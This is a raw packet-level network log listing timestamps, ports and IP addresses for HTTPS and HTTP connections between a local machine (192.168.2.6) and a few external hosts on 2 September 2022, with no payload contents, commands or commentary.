Sep 2, 2022 14:02:30.578762054 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.578779936 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.578819036 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.580966949 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.581011057 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.581072092 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.581093073 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.581109047 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.581156015 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.582848072 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.582900047 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.582959890 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.582973957 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.583125114 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.585119963 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.585163116 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.585222006 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.585235119 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.585280895 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.585311890 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.587204933 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.587246895 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.587306023 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.587327003 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.587342024 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.587378979 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.589164972 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.589277983 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.594717026 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.594824076 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.594855070 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.594958067 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.594993114 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.597456932 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.597500086 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.597537994 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.597655058 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.597681999 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.597768068 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.597801924 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.597817898 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.597841978 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.597888947 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.597907066 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.597944021 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.597959995 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.597980976 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.597995043 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.598020077 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598028898 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598041058 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.598087072 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598099947 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598114967 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.598195076 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598222971 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.598256111 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598267078 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598277092 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.598309040 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.598320007 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598417997 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598448992 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598464012 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.598478079 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.598623991 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.599273920 CEST	443	49809	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.599375963 CEST	49809	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.600213051 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.600266933 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.600327015 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.600348949 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.600380898 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.600409985 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.623306036 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.623416901 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.623437881 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.623538971 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.623557091 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.623574018 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.623624086 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.639853954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.639898062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.639929056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.639955044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.640006065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.640341997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.640360117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.640533924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.640559912 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.640574932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.640706062 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.640887022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.640923023 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.640945911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.640961885 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.640996933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.641016960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.641050100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.641061068 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.641084909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.641102076 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.643467903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.643513918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.643543005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.643563032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.643579006 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.643888950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.643923998 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.643946886 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.643969059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.643979073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.645627022 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.645670891 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.645737886 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.645754099 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.645816088 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.645893097 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.659533024 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.659600019 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.659662962 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.659687042 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.659775019 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.659832954 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.676790953 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.676834106 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.676917076 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.676932096 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.677038908 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.689692020 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.689733982 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.689814091 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.689830065 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.689867020 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.689891100 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.701349020 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.701387882 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.701518059 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.701541901 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.701608896 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.709336996 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.709366083 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.709444046 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.709460020 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.709491014 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.709522963 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.716387033 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.716413021 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.716502905 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.716521025 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.716542006 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.716578960 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.724078894 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.724118948 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.724250078 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.724267006 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.724301100 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.724323988 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.730525970 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.730590105 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.730762959 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.730781078 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.730846882 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.736239910 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.736291885 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.736346960 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.736362934 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.736382961 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.736423969 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.742979050 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.743040085 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.743098021 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.743113041 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.743145943 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.743228912 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.748125076 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.748172998 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.748250008 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.748266935 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.748282909 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.748337030 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.753742933 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.753807068 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.753886938 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.753902912 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.753916025 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.753954887 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.758908033 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.758959055 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.759023905 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.759041071 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.759057999 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.759088039 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.763756037 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.763880014 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.763884068 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.763916016 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.764003992 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.768497944 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.768546104 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.768590927 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.768605947 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.768639088 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.768665075 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.769947052 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.769980907 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770004988 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770019054 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770073891 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770088911 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770133972 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770144939 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770162106 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770186901 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770195007 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770214081 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770227909 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770236969 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770284891 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770298958 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770329952 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770340919 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770368099 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770380020 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770407915 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770422935 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770469904 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770484924 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770514011 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770596027 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770608902 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770632982 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770652056 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770698071 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770729065 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770785093 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.770787954 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:30.770931959 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:30.772532940 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.772584915 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.772633076 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.772650957 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.772696972 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.772741079 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.776089907 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.776154995 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.776205063 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.776222944 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.776254892 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.776276112 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.780730009 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.780795097 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.780857086 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.780874968 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.780888081 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.780926943 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.783598900 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.783662081 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.783713102 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.783729076 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.783772945 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.783795118 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.786955118 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.787022114 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.787106991 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.787117958 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.787185907 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.787189960 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.790813923 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.790848970 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.790918112 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.790934086 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.790962934 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.790977001 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.793051004 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.793087959 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.793162107 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.793175936 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.793189049 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.793251991 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.795377016 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.795495033 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.796947956 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.796996117 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.797059059 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.797075987 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.797102928 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.797127962 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.799732924 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.799771070 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.799849987 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.799865961 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.799905062 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.799926996 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.802483082 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.802534103 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.802567005 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.802613974 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.802624941 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.802637100 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.802678108 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.803392887 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:30.803550005 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:30.805181026 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.805239916 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.805306911 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.805322886 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:30.805357933 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.805380106 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:30.805917978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.805938959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.805974960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806000948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.806020021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.806030989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806071043 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.806078911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806091070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806118965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.806411982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806431055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806456089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.806467056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806477070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.806627035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806668997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.806723118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806734085 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.806763887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:30.807121038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807152033 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807168007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:30.807173967 CEST	49787	80	192.168.2.6	85.209.157.230
